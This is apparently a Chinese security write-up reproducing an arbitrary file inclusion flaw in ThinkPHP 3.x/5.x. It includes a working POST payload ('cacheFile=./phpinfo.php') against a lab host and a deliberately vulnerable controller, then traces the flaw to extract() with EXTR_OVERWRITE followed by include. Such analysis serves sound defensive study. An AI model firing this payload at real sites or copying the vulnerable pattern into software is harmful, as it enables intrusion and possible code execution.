0x01 前言
这次复现的是thinkphp3.x/5.x的任意文件包含。该漏洞的最根本原因是用了 extract 并用了 EXTR_OVERWRITE 参数,该参数的意思是如果有冲突,则覆盖已有的变量。
0x02 过程
测试payload
POST /thinkphp/public/index.php/index/index/index HTTP/1.1
Host: 192.168.0.111
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 23
cacheFile=./phpinfo.php
测试代码
<?php
namespace app\index\controller;
use think\Controller;
use think\Db;
class Index extends Controller
{
public function index()
{
//return '<style type="text/css">*{ padding: 0; margin: 0; } .think_default_text{ padding: 4px 48px;} a{color:#2E5CD5;cursor: pointer;text-decoration: none} a:hover{text-decoration:underline; } body{ background: #ffffff; font-family: "Century Gothic","Microsoft yahei"; color: #333;font-size:18px} h1{ font-size: 100px; font-weight: normal; margin-bottom: 12px; } p{ line-height: 1.6em; font-size: 42px }</style><div style="padding: 24px 48px;"> <h1>:)</h1><p> ThinkPHP V5<br/><span style="font-size:30px">十年磨一剑 - 为API开发设计的高性能框架</span></p><span style="font-size:22px;">[ V5.0 版本由 <a href="http://www.qiniu.com" target="qiniu">七牛云</a> 独家赞助发布 ]</span></div><script type="text/javascript" src="https://tajs.qq.com/stats?sId=9347272" charset="UTF-8"></script><script type="text/javascript" src="https://e.topthink.com/Public/static/client.js"></script><think id="ad_bd568ce7058a1091"></think>';
$this->assign($this->request->post());
return $this->fetch("index");
}
}
程序在一开始就调用了 assign 函数,并传入了POST数据,assign方法代码如下
assign方法又调用了视图类的assign方法,我们跟进去看看。可以看到,该方法调用了array_merge方法将post数据合并到了$this->data数组
再来看看 fetch方法, fetch方法同样调用了 视图类的fetcf方法,我们继续跟进
可以看到,该方法调用了array_merge将post数据合并到了vars数组内,接着我们看 $this->engine->$method($template, $vars, $config); 这句,在默认情况下$method的值为fetch,该方法在 thinkphp\library\think\view\driver\Think.php 文件下。
跟进去看看,视图引擎的fetch又调用了模板类的fetch方法。
继续跟进,这里需要注意的是 $this->storage->read($cacheFile, $this->data); 这句,我们进去该函数看看去。
该方法使用了 extract方法并用了EXTR_OVERWRITE 参数,最终导致了任意文件包含。如果目标站点开启了 allow_url_include ,攻击者甚至可以执行任意代码
<?php
public function read($cacheFile, $vars = [])
{
if (!empty($vars) && is_array($vars)) {
// 模板阵列变量分解成为独立变量
extract($vars, EXTR_OVERWRITE);
}
//载入模版缓存文件
include $cacheFile;
}